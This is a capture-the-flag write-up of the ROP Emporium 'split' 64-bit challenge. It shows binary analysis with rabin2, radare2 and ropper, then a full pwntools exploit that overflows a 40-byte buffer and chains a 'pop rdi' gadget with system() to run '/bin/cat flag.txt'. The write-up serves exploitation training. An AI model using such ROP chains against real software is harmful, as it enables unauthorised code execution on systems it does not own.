Before you read any further go back and have a look on my previous ROPEmporium post, as this post will build on that knowledge. But also have some familiarity of

  • GDB
  • Radare2
  • Assembly

This round we'll use the same tools as in 0-ret2win, with the addition to Ropper as we have to find and use specific gadgets to make the 64-bit exploit.

Description

I'll let you in on a secret; that useful string "/bin/cat flag.txt" is still present in this binary, as is a call to system(). It's just a case of finding them and chaining them together to make the magic happen.

Setup

Again lets download and do some initial analysis of the binary

root@linux:~/split# wget https://ropemporium.com/binary/split.zip
root@linux:~/split# unzip split.zip
root@linux:~/split# ls
flag.txt  split  split.zip
root@linux:~/split# file split
split: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8cbc19d1114b70bce2305f7ded9e7dd4d2e28069, not stripped

Awesome, still not stripped and we downloaded the proper 64-bit ELF Executable. We can also execute it to look on the program execution flow and what input data it wants.

root@Valkyrie:~/Documents/courses/ropemporium/1-split# ./split
split by ROP Emporium
64bits
Contriving a reason to ask user for data...
> inputdata
Exiting

So the basic flow is similar to ret2win, no surprise there as this exercise is more looking at the assembly, but again the user is required to input data after the "> ". Much like 0-Ret2Win the offset to our junk in order to control RIP is 40 bytes, and i am intentionally skipping the details in this step to focus more on the ROP Chain.

So again create the exploit template using pwntools

root@Valkyrie:~/Documents/courses/ropemporium/1-split# \
> pwn template --host 127.0.0.1 --port 31337 split --quiet > exploit.py

And again keeping with the standard, adding the 40-byte junk and payload definition

[...snip...]
# -- Exploit goes here --
junk = 'A'*40

payload = ""
payload += junk

io = start()
io.recvuntil('> ')
io.sendline(payload)
io.interactive()

So lets start reversing the binary and look for the gadgets that we have to use.

Radare2 Reversing

Analyzing the binary first with rabin2, to have a look on its protections we can see that the nx: true also that stripped: false . So again a ROP Chain is the key to success!

root@Valkyrie:~/Documents/courses/ropemporium/1-split# rabin2 -I split
arch     x86
baddr    0x400000
binsz    7137
bintype  elf
bits     64
canary   false
class    ELF64
compiler GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
crypto   false
endian   little
havecode true
intrp    /lib64/ld-linux-x86-64.so.2
laddr    0x0
lang     c
linenum  true
lsyms    true
machine  AMD x86-64 architecture
maxopsz  16
minopsz  1
nx       true
os       linux
pcalign  0
pic      false
relocs   true
relro    partial
rpath    NONE
sanitiz  false
static   false
stripped false
subsys   linux
va       true

So lets open the binary in Radare2 and look for our ROP Chain.

So in the challenge description we got the hint that there are still a useful function, but also a useful string which have been split apart! Investigating both the sym.usefulFunction and obj.usefulString we can slowly see the parts that we have to use in order to print the flag.txt.

Above is the function in 1-split that contains the gadget system, but it's also apparent that it wont print us the flag by simply calling the function. Since the edi will be filled with the pointer to the string str.bin_ls (/bin/ls) and will thus only print out the files in the current directory. While this proves code execution or command injection... doesn't help us getting that flag! What we really want is to call the obj.usefulString as an argument to system

That will certainly print us the flag. But the next question is.... how can we change the calling string to system if it is hard coded into the binary?

Anatomy of a ROP Chain

Now in order to dig a little into the calling convention of system calls in Linux we have to consult the ever exiting man page. Running man system in a terminal we are presented the manual for the library function system().  

If we have a brief look into the description of the system call, we can identify that the calling convention is system(<string of what to be executed>) , so the first parameter is the command to run. Which follows the principle in sym.usefulFunction as the string before system is /bin/ls. Which in turn is placed in the edi register just before the call to system()

sym.usefulFunction ();
0x0040080b   bfff084000   mov edi, str.bin_ls    ;0x4008ff ; "/bin/ls" ; const char *string
0x00400810   e8cbfdffff   call sym.imp.system    ;int system(const char *string)

Now there's a really good paper x64-Cheatsheet.pdf which explains a lot of the calls and methods in 64-bit assembly. A direct quote in the paper states that

4.3 Register Usage
Additionally, %rdi, %rsi, %rdx, %rcx, %r8, and %r9 are used to pass the first six integer or pointer parameters to called functions. Additional parameters (or large parameters such as structs passed by value) are passed on the stack.

Which means that it should look something like:

+-----------------------------------------------------------+
| Call     First    Second   Third   Fourth   Fifth   Sixth |
| System() %rdi     %rsi     %rdx    %rcx     %r8     %r9   |
+-----------------------------------------------------------+

Now we know that we need to move obj.usefulString into the first argument before calling system(), which should correlate to the %RDI Register, And there are three basic ways to achieve this and move data around in assembly:

  • push - push register onto top of stack
  • pop - pop top of stack onto register
  • mov - move source to destination

But scrolling through the radare2 assembly can be a bit tedious, and there are a search function in radare2 to look for gadgets and specific calls, but its time to introduce ropper which will automagically find all the gadgets available to us in the binary or a glibc (though not necessary in the ROPEmporium challenges). So hunting for gadgets can be a bit tricky, as it usually requires to have a bunch of information and make assumptions as you go. luckily for us this time we only need one gadget this time, a pop rdi.

root@Valkyrie:~/Documents/courses/ropemporium/1-split# ropper -f split
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
Gadgets
=======
[...snip...]
0x00000000004006b0: pop rbp; ret; 
0x0000000000400883: pop rdi; ret; 
0x0000000000400881: pop rsi; pop r15; ret; 
[...snip...]
91 gadgets found

Ropper identified that on address 0x00400883 theres a pop rdi; ret, which is easily verified in radare2 with pdi 2 @ 0x00400883

Constructing the ROP Chain

Now that we've identified the 3 parts we need in order to print the flag, its due time to start the assembly (No pun intended). This is something that we have to do in a specific order, which is more important in the later challenges but easier to understand now.

In order to call system with the string, we need to place the string into the RDI register before the system call. And since the pop rdi takes the next stack address and pops it into the register, the pop call needs to be right before the string address. so the chain have to look something like this

[junk] + [pop rdi] + [usefulString] + [system]

Which is easily constructed in our exploit code, now that we have all the parts needed.

Split

This time we'll go straight to pwntools, but you can substitute the names for binary addresses if you want. So the different parts we need just to reiterate are

  • Junk - which is 'A'*40 in order to control RIP and execute our own addresses
  • usefulString - exe.symbols.usefulString the address to /bin/cat flag.txt
  • System() - exe.symbols.system to create the system call
  • pop rdi - 0x00400883 to put the next stack address onto the proper register

And in the final exploit we'll use pwntools function p64(address) in order to convert a memory address into a packed string.

Final Exploit

#Author:    Christoffer.Claesson@Securitybits.io
#Blog:      https://blog.securitybits.io/2019/08/10/ropemporium-1-split-64-bit/

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

exe = context.binary = ELF('split')

host = args.HOST or '127.0.0.1'
port = int(args.PORT or 31337)

def local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return local(argv, *a, **kw)
    else:
        return remote(argv, *a, **kw)

gdbscript = '''
break *0x{exe.symbols.main:x}
continue
'''.format(**locals())

# -- Exploit goes here --
junk    = 'A'*40           #Controlling RIP Register
usefulString = p64(exe.symbols.usefulString) #/bin/cat flag.txt
system  = p64(exe.symbols.system)    #Creating the system call
pop_rdi = p64(0x00400883)           #Putting the string onto RDI

payload = ""
payload += junk
payload += pop_rdi
payload += usefulString
payload += system

io = start()
io.recvuntil('> ')
io.sendline(payload)
log.success('Flag: ' + io.recv(512))

GitHub: https://github.com/Securitybits-io/ROPEmporium